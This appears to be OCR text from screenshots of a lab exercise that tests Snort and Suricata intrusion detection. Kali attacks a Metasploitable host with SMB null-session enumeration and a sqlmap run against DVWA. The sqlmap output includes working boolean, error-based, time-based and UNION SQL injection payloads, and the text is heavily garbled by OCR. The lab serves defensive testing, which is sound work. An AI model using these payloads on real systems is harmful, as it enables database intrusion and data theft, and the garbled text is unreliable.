//10.0.2.111/tmp apping: OK Listing: OK Writing: OK , Src: PCSSystemtec 47:ef 00 88
//10.0.2.111/0pt DENIED Listing: N/A Writing: N/A otocol Version 4, Src: 10 02 78

n Control Protocol, Src Po 06 9a

[E] Can't understand response: 1 fa 9c

NT_STATUS_NETWORK_ACCESS_DENTED listing \x .
/e capture in progress>

5
80w S 5 B@EC B
AShal e





image148.png
ing) [Running]

mBR O

I

3 root@ ———

File Actions Edit View Help * Go Capture Analyze Statistics Telephony W
) RERBE 2 ¢ > 0« >
filte <Ctrl

Source Destination

[+] Attaching to 10.0.2.111 using a NULL share R

63175628

(+] Trying protocol 139/SMB ... ppo209513 2 in
+] Found domain(s): pes299737 2.5 10
p72655615 E
[+] METASPLOITABLE p77514008
[+] Builtin pe1211683
b11482437
(+] Password Info for Domain: METASPLOITABLE b11482598
203226496
[+] Mininum password length: 5 p61830943

[+] Password history length: None posssaza7
[+] Maximum password age: Not Set b74144991
[+] Password Complexity Flags: 000000 95365966

[+] Domain Refuse Password Change: 0 b01344935
[+] Domain Password Store Cleartext: 0 6543505
[+] Domain Password Lockout Admins: 0 s
[+] Domain Password No Clear Change: 0 E=
[+] Domain Password No Anon Change: 0

[+] Domain Password Complex: 0 © bytes on wire (1260 bits 08 00

, Src: PCSSystemtec_47:ef 00 88
[+] Minimum password age: None otocol Version 4, Src: 10 02 78
[+] Reset Account Lockout Counter: 30 minutes n Control Protocol, Src Po 06 9a
[+] Locked Account Duration: 30 minutes 1 fa 9c

[+] Account Lockout Threshold: None

+] Forced Log off Time: Not Set .
Lol Goretr] (e 077 WL €5 /e capture in progress> Packets:
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©
I
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10/04/2025-13:17:21.106990 [**] [1:2030483:4] ET EXPLOIT FS TMUI RCE vulnerabil
lity CVE-2020-5902 Attempt M2 [**] [Classificacion: Attempted Administrator Pri
vilege Gain] [Priority: 1] {ICP} 10.0.2.70:56062 —> 10.0.2.111:80
10/04/2025-13:17:21.117706 [**] [1:2221015:1] SURICATA HITP Host header ambigyl
ous [**] [Classification: Generic Protocol Command Decode] [Briority: 3] {ICE}
10.0.2.70:56062 —> 10.0.2.111:80

10/04/2025-13:17:21.131604 [**] [1:2030585:1] ET EXPLOIT Cisco ASA/Firepower T
nauthenticated File Read (CVE-2020-3452) M3 [**] [Classification: Attempted Us|
er Privilege Gain] [Priority: 1] {TCP} 10.0.2.70:56062 -> 10.0.2.111:8
10/04/2025-13:17:21.131604 [**] [1:2034262:1] ET EXPLOIT Cisco ASA and Firepou]
er Path Traversal Vulnerability M1 (CVE-2020-3452) [**] [Classification: Attemp|
ted Administrator Privilege Gain] [Priority: 1] {TCP} 10.0.2.70:56062 —> 10.0.2]
111180
10/04/2025-13:45:00.623428 [**] [1:2260002:1] SURICATA Applayer Detect protoco
1 only one direction [**] [Classification: Gemeric Protocol Command Decode] [Bi]
dority: 3] {TCP} 10.0.2.70:34530 -> 10.0.2.111:139
10/04/2025-13:45:01.705501 [**] [1:2260002:1] SURICATA Applayer Detect protoco
1 only one direction [**] [Classification: Gemeric Protocol Command Decode] [Pi]
iority: 3] {TCP} 10.0.2.70:34534 -> 10.0.2.111:139

]

Check your Internet connection or proxy settings

cslab@suricata:~$ sudo su
(sudo] password for cslab:
root@suricat
root@suricat

/nome/cslab/Wiresharks 1s

PHASEl-Suricata.pcap

© 22 and not ip6”
Running as user
Capturing on 'enpos3’
385332 ~C

© 22 and not ipe"
Running as uasr "rootr and grow
Captuzing on ‘enpos’

28054 []

zoot™

45 Last login: Fri Oct 3 12:48:09 2025 from 10.0.2.120
cslab@snort2:~$ sudo su
(sudo] password for cslab:
root@snort2:/home/cslab} cd /home/cslab/Wireshark/
root@snort2:/home/cslab/Wiresharks 1s

0.2.70:38558 —> 10.0.2.111:
10/04-13:45:08.776987 [**] [1:2466:7] NETBIOS SMB-DS IECS unicode share access|
{**] [Classification: Generic Protocol Command Decode] [Priority: 3] (TCP} 10
0.2.70:38560 —> 10.0.2.111:445
10/04-13:45:08.854287 [**] [1:2466:7] NETBIOS SMB-DS IECS unicode share access|
{**] [Classification: Generic Protocol Command Decode] [Priority: 3] (TCP} 10
0.2.70:38562 —> 10.0.2.111:445
10/04-13:45:08.913839 [**] [1:2466:7] NETBIOS SMB-DS IECS unicode share access|
{**] [Classification: Generic Protocol Command Decode] [Priority: 3] (TCP} 10
0.2.70:38576 —> 10.0.2.111:445 Running as user "root!
|10/04-13:45:08.979640 [**] [1:2466:7] NETBIOS SMB-DS IERCS unicode share accessfll Capturing on 'enp0s3
{**] [Classification: Generic Protocol Command Decode] [Priority: 3] (TCP} 1o.[ll382564 °C
0.2.70:38580 —> 10.0.2.111:445 zoot@snort2:/home/cslab/Wiresharki tshark -i enp0s3
10/04-13:45:09.045043 [**] [1:2466:7] NETBIOS SMB-DS IECS unicode share accessfild mOT ip6" —w PHASEl-Snorc2-Tests3-7S.pcap
[**] [Classification: Generic Protocol Command Decode] [Priority: 3] (7} 1o.[lRunning as user "root® and growp "root”. This could
0.2.70:38588 —> 10.0.2. Capturing on 'enp0s3

il 20392 I

BHASE1-Snort2.pcap

root@snort2:/home/cslab/Wiresharki tshark -i enp0s3
d not ip6" -w PHASE1-Snort2-TestsS0-75.pcap
and group "root". This could

10/04-13:45:08.837055 [**] [133:52:1] " (dce_smb) SMB
iated” [**] [Priority: 3] (TCP} 10.0.2.111:445 -> 10.0.2.70:38558
10/04-13:45:08.899431 [**] [133:52:1] " (dce_smb) SMB - deprecated dialect nego]
iated” [**] [Priority: 3] (TCP} 10.0.2.111:445 -> 10.0.2.70:38560
10/04-13:45:08.958454 [**] [133:52:1] " (dce_smb) SMB - deprecated dialect nego]
iated” [**] [Priority: 3] (TCP} 10.0.2.111:445 -> 10.0.2.70:38562
10/04-13:45:09.036322 [**] [133:52:1] " (dce_smb) SMB - deprecated dialect negot]
iated” [**] [Priority: 3] (TCP} 10.0.2.111:445 -> 10.0.2.70:38576
10/04-13:45:09.101887 [**] [133:52:1] " (dce_smb) SMB - deprecated dialect negot]
iated” [**] [Priority: 3] (TCP} 10.0.2.111:445 -> 10.0.2.70:38580
10/04-13:45:09.167574 [**] [133:52:1] " (dce_smb) SMB - deprecated dialect nego]
iated” [**] [Priority: 3] (TCP} 10.0.2.111:445 -> 10.0.2.70:38588
10/04-13:45:09.248697 [+*] [112:1:1] " (azp_spoof) unicast ARP request” [+*] [Pz]
iority: 3] (ARE} ->

10/04-13:45:14.234510 [**
iority: 3] (ARP} ->
10/04-13:45:16.052345 [**] [116:58:1] "(tcp) experimental TCP options found” [*
*] (Priority: 3] {TCP} 10.0.2.112:47432 —> 1.1.1.1:53

10/04-13:45:19.234461 [+*] [112:1:1] " (azp_spoof) unicast ARP request” [+*] [Pz
iority: 31 (ARE} ->

mE R e £ s

deprecated dialect negot|

your Internet connection or proxy settings

Last login: Fri Oct 3 12:50:04 2025 from 10.0.2.120
cslab@snort3:~$ sudo su

[sudo] password for cslab:

[ zootesnorcs: /nome/cslabt cd /nome/cslab/Wireshark/
root@snort3:/home/cslab/Wiresharks 1s

PERSEL_Snort3.poap
zoot@ancita: /nome/ cslab/Wizesnark} tshark -3 enpos3
4 not $pe" —w PRASE1-Snort3-Testss0-7.pcap
Running as user "root" and growp "oot". This could
Capturing on *enposs’

383540 ~C

“oot@snorca: /nome/cslab/Wizesnark} tshark -3 enpos3
4 not $pe" —w PRASE1-Snort3-Testse-7.pcap
Running as user "root" and growp "oot". This could
Captuzing on *enposs’

28384 []

[112:1:1] " (azp_spoof) unicast ARP request” [**] [Px

el

I

root@suricata:/home/cslab/Wireshark tshark -i enp0s3 —f
—w PHASEl-Suricata-Tests63-75.pcap
This could be dangerous.

PHASE1-Snort2-Metasploit.pcap PHASE1-Snort2-Tests3s-49.pcap

be

be

-£ "not top port 22 anf

be

-£ "not top port 22 anf

be

Last login: Sat Oct 4 09:22:56 2025 from 10.0.2.120

:/home/cslabé cd /home/cslab/Wireshark/
PHASE1-Suricata-Metasploit.pcap PHASEl-Suricaca-Tests36-49.pcap
root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl

—w PHASEl-Suricata-Tests50-75.pcap
oot™ and group "root”. This could be dangerous

-£ "not top port 22 anf

dangerous.

-£ "not top port 22 anf

dangerous.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts.

PHASE1-Snort3-Metasploit.pcap PHASE1-Snort3-Tests36-49.pcap

dangerous.

dangerous.

"ot tep por|

ceull | Tasks: 43, 40 thr RE
Mem[ 111117414/1.526] Load average: 0.21 0.13 0.04
swpl ] Uptime: 04:32:10

576
576
576

22576
1 ee96e
282
25068
282
282
282

] Tasks: 50, 36 thr i1
| Load average: 0.00 0.00 0.00
] Uptime: 04:32:00

s

MEM:  TDME:

13648
19660 15380
27264 8704
325 root 20 29068 7772 5084
350 root 20 282M 27264 704
351 root RT 282 27264 704

27264
27264

47, 32 thr
1 Load average: 0.17 0.22 0.23
1 Uptime: 04:32:28
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root@kali: omeflali

File Actions Edit View Help

[ /hone/katd)
4 sqlnap -u "http://meta2.con/dvwa/vulnerabilities/sqli/?id=16Submit=Subnit" —p id -H "Cookie: PHPSESSID=3d3Baaf83schacesd1
89c2d7c0f4707a; security=low" ——flush-session

kel
e n<«>EEoeo0 @

I | https://sqlmap.or:

ST} CFERCA o (PP i (7 Ay (et AT [t (a1l Tt s i e e s | e =T

ponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for Protocol _Length
any misuse or damage caused by this program

[I] _cracke 9 elephony Wireless Tools Help
i 1)
v

[*] starting @ 16:36:59 /2025-10-04/

[16:37:00] [INFO] flushing session file
[16:37: [INFO] testing connection to the target URL

[16:37: [INFO] checking if the target is protected by some kind of WAF/IPS

[16:37: [INFO] testing if the target URL content is stable

[16 [INFO] target URL content is stable

I16 [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MysqL')

[16:27:00] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (Xss) attack
s

[16:37 [INFO] testing for SQL injection on GET parameter 'id"

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [v/n] I

IS IS 0

GBuRBabB oD R o

Y

27 od 08 00 27

9e 33 40 06 81 c2
00 16 b6 1a 33 83
9d 71 el f3 e6 58
e2 8f de 6a 89 4F

_ ® K ethO: <live capture in progress> Packets: 595 Profile: Default





image151.png
O 8 0638|a c

BERPOC]- [ 2« [£ORPE

root@kali: homelkali

Applications
Edit View Help

[16:35:20] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' i
jectable (with —not-string="Me")

[16:38:20] [INFO] testing > 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)

[16:38:20] [INFO] testing > 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSTGNED)

[16 [INFO] testing > 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)

[16 [INFO] testing > 5.5 OR error-based - WHERE or HAVING clause (EXP)

[16: [INFO] testing > 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)" elephony Wireless Tools Help

[16 [INFO] testing > 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET

[16 [INFO] testing > 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' N >BEE=EoeoE
[16: [INFO] testing > 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)

[16 [INFO] testing > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' - o+
[16 [INFO] testing > 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

[16: [INFO] testing > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)® Destination Protocol _Length
[16 [INFO] testing > 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)

[16 [INFO] testing > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)

[16: [INFO] testing > 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)

[16 [INFO] testing * > 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' e

[16 [INFO] GET parameter 'id' is 'MySQL > 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

jEctanTs 34.36.137.203

[16:38:20] [INFO] testing 'MysQL inline queries

[16 [INFO] testing 'MySQL > 5.0.12 stacked queries (comment)

[16: [INFO] testing "MySQL > 5.0.12 stacked queries

[16 [INFO] testing "MySQL > 5.0.12 stacked queries (query SLEEP - comment)

[16 [INFO] testing "MySQL > 5.0.12 stacked queries (query SLEEP

[16: [INFO] testing "MySQL < 5.0.12 stacked queries (BENCHMARK (ummen()

[16 [INFO] testing "MySQL < 5.0.12 stacked queries (BENCHMARK)'

[16 [INFO] testing "MySQL > 5.0.12 AND time-based blind (query SLEEP)

[16: [INFO] GET parameter 'id' appears to be 'MySQL > 5.0.12 AND time-based blind (query SLEEP)' injectable

[16 [INFO] testing ‘Generic UNION query (NULL) - 1 to 20 columns
[16 [INFO] testing "MySQL UNION query (NULL) - 1 to 20 columns

[16:38:30] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (po
tential) technigue found

[16:38:30] [INFO] "ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of q
uery columns. Automatically extending the range for current UNION query injection technique test

[16:38:30] [INFO] target URL appears to have 2 columns in query 08 00 27 0d de le 08 00 27 47 ¢
[16:38:30] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable ©2 48 9e 33 40 00 40 06 81 c2 €
[16:38:30] [WARNING] in OR boolean-based injection cases, please consider usage of switch '—drop-set-cookie' if you experien 02 78 00 16 c2 Oe b6 1a 33 83 £
ce any problems during data retrieval 14 42 9d 71 00 00 el f3 €6 58 ¢
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Il ©a do e2 BF 31 81 de 6a 89 4F :

\ ® B etho: <live capture i progress> Packets: 3501 Profile: Default





image152.png
[[0704/2025-13:17:21. 117106  [**] [
bus [**] [Classification: Generic Protocol Command Decode:
6062 —> 10.0.2.111:80
10/04/2025-13:17:21.131604 [**] [1:2030585:1] ET EXPLOIT Cisco ASA/Firepower Uf
authenticated File Read (CVE-2020-3452) M3 [**] [Classification: Attempted Us|
Lr privilege Gain] [Priority: 1] {TCP} 10.0.2.70:56062 -> 10.0.2.111:8
7:21.131604 [**] [1:2034262:1] ET EXPLOIT Cisco ASA and Firepou|
L: path Traversal Vulnerability M1 (CVE-2020-3452) [**] [Classification: Attemp|
d Administrator Privilege Gain] [Priority: 1] (ICP} 10.0.2.70:56062 —> 10.0.2|

(Priority: 3] {TCR}

5:00.623428 [**] [1:2260002:1] SURICATA Applayer Detect protocol
only one direction [**] [Classification: Generic Protocol Command Decode] [Pr
3] {TCP) 10.0.2.70:34530 -> 10.0.2.111:138
5:01.705501 [**] [1:2260002:1] SURICATA Applayer Detect protocol
only one direction [**] [Classification: Generic Protocol Command Decode] [Pr
3] {TCP) 10.0.2.70:34534 -> 10.0.2.111:138
10/04/2025-14:06:57.230333 [**] [1:2210022:2] SURICATA STREAM ESTABLISHED SYNA|
K resend [**] [Classification: Generic Protocol Command Decode] [Briority: 3
TCP} 10.0.2.111:80 —> 10.0.2.10:50220

2.111:50
10/04-16:19:36.301935 [**] [1:114
ion: Attempted Information Leak] [Priority: 2
111:50

10/04-16:21:03.054558  [**] [1:106;
ification: Web Application Attack]
2.111:50
10/04-16:21:03.054558  [**]
ion: Attempted Information Leak]
111:50

10/04-16:36:55.184765  [**] [1:106:
ification: Web Application Attack]
2.111:50

10/04-16:36:58.184765  [**] [1:114
ion: Attempted Information Leak] [Priority: 2

] WEB-MISC cats20 access [**] [Classificac|
(TCP} 10.0.2.70:56266 -> 10.0.2.

] WEB-MISC xp_cmdshell attempt [**] [Class|
{Priority: 1] (ICP} 10.0.2.70:59710 ~> 10.0.

[1:114

:7] WEB-MISC cac®20 access [**] [Classificat]
(Priority: 2]

(TCP} 10.0.2.70:59710 -> 10.0.2.

] WEB-MISC xp_cmdshell attempt [**] [Class|
{Priority: 1] (ICP} 10.0.2.70:56608 ~> 10.0.

] WEB-MISC cats20 access [**] [Classificac|
(TCP} 10.0.2.70:56608 —> 10.0.2.

31 (aRE} >
10/04-16:40:26.775180 [**] [116:58:1] " (tcp) experimental
[Prioricy: 3] (TCP} 10.0.2.112:34536 > 1.0.0.1:53
10/04-16:40:32.908017 [**] [112:1:1] " (arp_spoof) unicast
sority: 3] (RRE) >
10/04-16:40:40.735045
horicy: 3] (ARE) >
10/04-16:40:42.506826 [**]

horicy: 3] (ARE) >
10/04-16:40:42.506826 [**]

options found” [*

request® (] [Pr]

[**] [112:1:1] "(azp_spoof) unicast requestt [**] [Pz]

[112:1:1] " (azp_spoof) unicast ARP request” [**] [Pz

[112:1:1] " (azp_spoof) unicast ARP request” [**] [Pz

10/04-16:40:42.910726 [**] [112:1:1] " (arp_spoof) unicast ARP request” [**] [Pz
[**] [116:58:1] "(tcp) experimental

[Priority: 3] {TCP} 10.0.2.112:44516 —> 1.1.1.1:53
10/04-16:40:50.234490 [**] [112:1:1] " (arp_spoof) unicast

31 (2RP} >

options found” [*

request® (] [Pr]

root@suricata:/home/cslab/Wiresharks tshark -i enp0s3 -
© 22 and not ip6" -w PHASEl-Suricata-Testss0-75.pcap
Running as user "root" and group "root”. This could be dangerous
Capturing on 'enpos3’

385332 ~C

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" -w PHASEl-Suricaca-Testse3-75.pcap

Running as user "root" and group "root”. This could be dangerous
Capturing on 'enpos3’

29513 “C

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" -w PHASEl-Suricaca-Tests70-75.pcap

Running as user "root" and group "root”. This could be dangerous
Capturing on 'enpos3’

9644 ~C

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" —w PHASEl-Suricata-Tests71-75SQLUAP.pcap

Running as user "rooc” and group "root”. This could be dangerous

"ot tcp por

B cepcuring on ‘enpos3'
382564 ~C
root@snort2:/home/cslab/Wiresharki tshark -i enp0s3
d not ip6" -w PHASE1-Snort2-Testse3-75.pcap
Running as user "root” and group "root!
Capturing on 'enpos3’
29415 ~C
root@snort2:/home/cslab/Wiresharki tshark -i enp0s3
d not ip6" -w PHASE1-Snort2-Tests70-75.pcap
Running as user "root” and growp "root". This could
Capturing on 'enpos3’
9366 ~C
Zooc@enoza:/nome/celan/Wizesnazit tobazk i cooos3

not top port 22 an|

dangerous.

"not tep port 22 an|

dangerous.

Snort3: Test72 - SQLMap Alerts not visible

See Snort3: Test72 - SQLMap Alerts below from alert log:

Tasks:

Load averag
Uptime:

22576 13532
1 ee96s 20952
2821 27264

25068

7764

2821 27264
2821 27264
2821 27264
2821 27264
2821 27264
2821 27264

TEETTT]1553M/.

PID USER
1120 root
1 oot
282 root
329 root
326 root
348 root
350 root
351 root
352 root
353 root
354 root
397 systemd-ne

NI VIRT

64
282

NI VIRT
o 32am
5148
22032

. ees3z
282
25008
282
282
282
282
282
282

] Tasks:

] Load average

1 Uptime:

13648
20840
27264

1 Load ave
1 Uptime:

2480 3712
13156 o44e
19152 17872
27264 5704
7680 2992
27264 5704
27264
27264
27264
27264
27264
2472

49, 40 thr RE
: 0.03 0.08 0.07

07:27:37

S| CPUSVMEME

50, 36 thr i1
0.02 0.01 0.00
07:2

47, 32 thr
erage: 0.13

150" abin /]
{07 /usz/1s]
Wi 8.
1641
ouozes B
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root@kali: omeflali Ethernet network connection “Wired connection 1" active

File Actions Edit View Help

Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 5096=509655ubmit=Subnit

Type: error-based
Title: MySQL > 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND ROW(8905,5054)>(SELECT COUNT(*),CONCAT(0x716a707a71, (SELECT (ELT(8905=8905,1))),0x71786a6b71, FLOOR(RAN

D(0)+2))x FROM (SELECT 1554 UNION SELECT 8385 UNION SELECT 3636 UNION SELECT 9279)a GROUP BY x)— cTqUsSubmi t=submit clephony Wireless Tools Help

Type: time-based blind N e > E oo ano
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP) L u

Payload: id=1' AND (SELECT 8367 FROM (SELECT(SLEEP(5)))VaEQ)— WAxuGSubmit=Submit - o+

Type: UNION query Protocol _Length
Title: MySQL UNION query (NULL) - 2 columns —

Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x716a707a71,0x6962445046516F4F6b74747642565455725a704bke676F4366506760487068
4b5174485758447462,0x71786a6b71)#&Submit=Submit

[16:42:35] [INFO] the back-end DBMS is MysQL

web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MysQL > 4.1

[16:42:35] [INFO] fetching database names

available databases [7]:

[*] dvwa

[*] information_schema

[*] metasploit

[*] mysql

[*] owasp10

[*] tikiwiki

[*] tikiwiki19s

[16:42:35] [INFO] fetched data logged to text files under ‘/root/.local/share/sqlmap/output/meta2.com
[16:42:35] [WARNING] your sqlmap version is outdated

[+] ending @ 16:42:35 /2025-10-04/ od 08 00 27

9e 33 40 06 81 c2

o q 00 16 b6 1a 33 83
Gzrnntakalx)—[/hnme/kah] 9d 71 el f3 e6 58

! e2 8f de 6a 89 4F

® B etho: <live capture i progress> Packets: 9421 Profile: Default
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forking) [Running] - irtualBe

Input D

10/04/2025-13:17:21.117706  [**] [1:2221015:1] SURICATA HITP Host header ambigy]
ous [**] [Classification: Generic Protocol Command Decode] [riority: 3] {ICE}
10.0.2.70:56062 —> 10.0.2.111:80

10/04/2025-13:17:21.131604 [**] [1:2030585:1] ET EXPLOIT Cisco ASA/Firepower T
nauthenticated File Read (CVE-2020-3452) M3 [**] [Classification: Attempted Us|
er Privilege Gain] [Priority: 1] (TCP} 10.0.2.70:56062 -> 10.0.2.111:80
10/04/2025-13:17:21.131604 [**] [1:2034262:1] ET EXPLOIT Cisco ASA and Firepou]
er Path Traversal Valmerability M1 (CVE-2020-3452) [**] [Classification: Attemp|
ced Administrator Privilege Gain] [Briority: 1] (ICB} 10.0.2.70:56062 —> 10.0.2
111180

10/04/2025-13:45:00.623428  [**] [1:2260002:1] SURICATA Applayer Detect protoco]
1 only one direction (%] [Classification: Gemeric Protocol Command Decode] [Bi]
ioricy: 3] (TCP) 10.0.2.70:34530 -> 10.0.2.111:139

10/04/2025-13:45:01.705501  [**] [1:2260002:1] SURICATA Applayer Detect protoco]
1 only one direction [**] [Classification: Gemeric Protocol Command Decode] [Bi]
ioricy: 3] (TCP) 10.0.2.70:34534 -> 10.0.2.111:13%

10/04/2025-14:06:57.230333 [**] [1:2210022:2] SURICATA STREAM ESTABLISHED Sy
cx resend [**] [Classification: Generic Protocol Command Decode] [Priority: 3]
(TCP} 10.0.2.111:80 -> 10.0.2.10:50220

i

111:80
10/04-16: 184765 [**] [1:106:

ification: Web Application Attack] [Priority: 1] (ICP} 10.0.2.7
2.111:80

10/04-16:36:58.184765 [**] [1:1147:7] WEB-MISC cats20 access [**] [Classificat]
ion: Atcempted Information Leak] [Priority: 2] (ICP} 10.0.2.70:56608 —> 10.0.2

111:80

10/0¢-16:41:59.89625¢  [**] [1:106

ification: Web Application Attack] [Priority: 1] (ICP} 10.0.2.7
2.111:80

10/04-16:41:59.896254  [**] [1:1147:7] WEB-MISC cats20 access [**] [Classificat]
ion: Attempted Information Leak] [Priority: 2] (TCP} 10.0.2.70:52894 —> 10.0.2

11180

10/04-16:42:16.001194  [**] [1:1344:5] WEB-ATTACKS cc command attempt [**] [Clal
ssification: Web Application Attack] [Priority: 1] {TCP} 10.0.2.70:53724 -> 10

0.2.111:80

] WEB-MISC xp_cmdshell attempt [**] [Class|
6608 —> 10.0.

] WEB-MISC xp_cmdshell attempt [**] [Class|
2994 —> 10.0.

10/04-16:42:33.370613 [**] [116:6:1] "(ipv4) IPv4 datagram length > captured lel
ngtan [+*] (Priority: 31 feth) ->

10/04-16:42:33.371081 [**] [119:279:1] " (htcp_inspect) invalid status line” [*
1 [Priority: 3] (TCP} 10.0.2.70:43620 -> 10.0.2.111:80

10/04-16:42:33.371081 [**] [119:201:1] " (http_inspect) not HITP traffic or unrel
coverable HTTP protocol error” [**] [Priority: 3] (TCE} 10.0.2.70:43620 -> 10.0
.2.111:80

10/04-16:42:33.448264 [**] [116:6:1] "(ipv4) IPv4 datagram length > captured lel
ngth" [**] [Priority: 3] {eth

10/04-16:42:33.448403 [**] [116:6:1] "(ipv4) IPv4 datagram length > captured lel
ngth" [**] [Priority: 3] {eth}

10/04-16:42:36.905870 [**] [116:6:1] "(ipv4) IPv4 datagram length > captured lel
ngth" [**] [Priority: 3] {eth}

10/04-16:42:36.906042 [**] [116:6:1] "(ipv4) IPv4 datagram length > captured lel
ngth" [**] [Priority: 3] {eth}

10/04-16:42:41.234852 [+*] [112:1:1] " (arp_spoof) unicast ARP request” [+*] [Pz
iority: 31 (ARE} ->

> mME R O£

root@suricata:/home/cslab/Wiresharks tshark -i enp0s3 -
© 22 and not ip6" -w PHASEl-Suricata-Testss0-75.pcap

Running as user "root" and group "root”. This could be dangerous
Capturing on 'enpos3’

385332 ~C

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" -w PHASEl-Suricaca-Testse3-75.pcap

Running as user "root" and group "root”. This could be dangerous.
Capturing on 'enpos3’

29513 “C

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" -w PHASEl-Suricaca-Tests70-75.pcap

Running as user "root" and group "root”. This could be dangerous.
Capturing on 'enpos3’

9644 ~C

root@suricata:/home/cslab/Wiresharki tshark -i enp0s3 —f "not tep porl
© 22 and not ip6" —w PHASEl-Suricata-Tests71-75SQLUAP.pcap

Running as user "rooc” and group "root”. This could be dangerous

Capturing on 'enp0s3’
382564 ~C
root@snort2:/home/cslab/Wiresharki tshark -i enp0s3 -f "not Top Port 22
d not ip6" -w PHASE1-Snort2-Testse3-75.pcap
Running as user "root” and group "root!

Capturing on 'enpos3’

29415 ~C

root@snort2:/home/cslab/Wiresharki tshark -i enp0s3
d not ip6" -w PHASE1-Snort2-Tests70-75.pcap
Running as user "root” and growp "root". This could
Capturing on 'enpos3’

9366 ~C

Zooc@enoza:/nome/celan/Wizesnazit tobazk i cooos3

dangerous.

"not tep port 22

dangerous.

nooc oo ooz 20

| Sohsr:-sners.pep

zoot@snorta: /home/calab/Wireshark tshark -i enpos3
a4 not ip6" —w PHASEL-Snort3-Teatsso-75.poap
Running as user "root" and gros "Zoot”. Tais could
Capturing on renpos3’

552540 ¢

£o0t@snorta: /home/calab/Mireshark tshark -i enpos3
a4 not 1p6" —w PHASEl-Snort3-Teatséd-75.poap
Running as user "root" and gros "Zoot". Tais could
Capturing on ‘enpos3’

2915 ~c

£oot@snozta: /home/calab/Mireshark tshark -i enpos3
d ot ip6" —w PHASE1-Snort3-Teats70-75.poap
Running as user "root" and grosp "Zoot’. Tais could
Capturing on renpos3’

5557 C

£oot@snozta: /home/calab/Wireshark tshark i enpos3
4 ot 1p6" —w PHASEI-Snort3-Teats71-7SSQLIAP.pcap
Running as user "root" and gros "Zoot”. Tais could
Capturing on renpos3’

4250 I

"not tep port

dangerous.

"not tep port

dangerous.

"not tep port

dangerous.

"not tep port

dangerous.

PID USER

e84
1162 root

1 root
282 root
329 root
326 root
348 root
350 root
351 root
352 root
353 root

Tasks: 43, 40 thr RE
Load average: 0.10 0.08 0.07
Uptime: 07:29:23

5136 4480
22576 13532
1 ee96s 20952
2821 27264
29068 7764
2821 27264
2821 27264
2821 27264
2821 27264
2821 27264

] Tasks: 50, 36 thr i1
] Load average: 0.00 0.00 0.00
] Uptime: 07:29:15

[ITEE%

NI VIRT

13648
21068
27264

1 Tasks: 47, 32
1 Load average:
1 Uptime: 07:29

NI VIRT
o0 sz
3001
s2a
22032
e
2o
23008
202
20
20
20
20
2oz
i
642
)
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B root@kali: omeflali
File Actions Edit View Help

Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 5096=5096%55ubmit=Subnit

Type: error-based
Title: MySQL > 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND ROW(8905,5054)>(SELECT COUNT(*),CONCAT(0x716a707a71, (SELECT (ELT(8905=8905,1))),0x7178626b71, FLOOR(RAN
D(0)%2))x FROM (SELECT 1554 UNION SELECT 8385 UNION SELECT 3636 UNION SELECT 9279)a GROUP BY x)— cTqU&Submit=Submit

N > oea

s Girre mRE u
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP) - T
Payload: id=1' AND (SELECT 8367 FROM (SELECT(SLEEP(5)))vaEQ)— WAxusSubmit=Submit

Destination Protocol

elephony Wireless Tools Help

Type: UNION query
Title: MySQL UNION guery (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x716a707a71,0x6962445046516F4F6b747476425654557252704bke676F436650676948706e

4b5174485758447462,0x71786a6b71)#ESubni t=Submit

[16:44:43] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 8.04 (Hardy Heron)

